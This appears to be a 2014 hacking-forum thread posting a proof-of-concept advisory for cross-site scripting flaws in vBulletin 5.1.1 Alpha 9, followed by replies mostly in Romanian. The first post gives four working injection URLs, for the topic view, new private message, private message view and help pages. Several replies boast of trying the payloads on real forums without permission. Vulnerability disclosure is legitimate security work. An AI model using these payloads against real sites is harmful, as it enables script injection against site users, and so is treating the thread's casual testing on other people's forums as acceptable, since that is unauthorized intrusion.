[RST] vBulletin 5.1 Multiple XSS vulnerabilities

[Nytro]

Exploit Title: vBulletin 5.1 Multiple XSS vulnerabilities
Authors: Romanian Security Team
Website: https://rstforums.com/forum/
Date published: 19 April 2014
Software: vBulletin
Version: 5.1.1 Alpha 9

[XSS] Random topic

- https://website.com/[forum_path]/forum/anunturi-importante/rst-power/67030-rst-admin-restore?view=stream1337";alert(123);//

[XSS] New private message

- https://website.com/[forum_path]/privatemessage/new/9999"><input onfocus=alert(1) autofocus>

[XSS] View PM: you must know or bruteforce private message ID (830372)

- https://website.com/[forum_path]/privatemessage/view/830372?folderid=random";alert(1);//

[DOM XSS] Help

- https://website.com/[forum_path]/help#'"><img src=x onerror=prompt("PoC")>

(c) Romanian Security Team 2014

[.Breacker]

Func?ioneaz?,l-am testat pe un forum .

[Nytro]

Packetstorm: vBulletin 5.1 Cross Site Scripting ? Packet Storm

[TheGeneral]

L-am testat pe 7 forum-uri si nu merge

[sensi]

Felicitari baieti! +1 pentru RST

Trist ca doar la topicurile de cacat sunt 100 de pagini si 145.656.32543,21 de reply-uri...

//Esti sigur ca ai testat pe versiunea vBulletin 5.1?

Edited April 19, 2014 by sensi

[TheGeneral]

Doar pe 4.2.0 si 4.2.2 ....

Ce greseala de copil facui

[Castiel]

Am testat pe o versiune "nulled" merge ! +1 RST .Comunitatea asta ajunge tot mai mare .

[BadPorn]

Nu conteaza cate comunitati de hacking o sa apara peste noapte! RST e doar una!

Bravo!

[Aerosol]

Foarte bine Testat pe multe forumuri !

[Nytro]

SecurityFocus: vBulletin Multiple Cross Site Scripting Vulnerabilities

IBM ISS: ISS X-Force Database: vbulletin-multiple-scripts-xss(92664): vBulletin multiple scripts cross-site scripting

SCIP: vBulletin up to 5.1.1 Alpha 9 cross site scripting

Boschetarii de la exploit-db inca nu l-au bagat. Sa ii anunte cineva ca a trecut Pastele.